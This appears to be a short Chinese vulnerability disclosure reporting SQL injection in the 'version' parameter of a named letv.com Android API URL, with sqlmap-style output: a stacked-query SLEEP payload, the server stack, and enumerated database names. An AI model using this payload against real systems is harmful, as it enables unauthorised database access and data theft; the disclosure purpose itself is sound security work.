http://dynamic.app.m.letv.com:80/android/dynamic.php?mod=audit&ctl=audit&act=indexv1&pcode=010510000&version=5.0
---
Place: GET
Parameter: version
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: mod=audit&ctl=audit&act=indexv1&pcode=010510000&version=5.0'; SELEC
T SLEEP(5)--
---
version参数存在注入
web application technology: Nginx, PHP 5.4.4
back-end DBMS: MySQL 5.0.11
available databases [2]:
[*] information_schema
[*] mclient
跑表速度太慢了...就不跑了
mclient库有148个表
修复方案：
过滤相关参数！